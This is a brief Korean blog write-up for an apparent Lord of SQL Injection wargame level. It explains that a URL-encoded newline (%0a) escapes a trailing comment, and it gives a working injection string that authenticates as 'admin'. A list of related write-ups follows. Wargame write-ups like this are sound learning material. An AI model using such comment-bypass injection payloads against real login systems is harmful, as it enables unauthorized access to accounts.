이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;;
뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데
%0a가 있음을 깨달았다.
?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin
'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글
| [LOS1] black_eyes (0) | 2018.09.27 |
|---|---|
| [LOS1] iron_golem (0) | 2018.09.27 |
| [LOS1] dragon (0) | 2018.09.22 |
| [LOS1] xavis (0) | 2018.09.22 |
| [LOS1] nightmare (0) | 2018.09.22 |
| [LOS1] succubus (0) | 2018.09.22 |
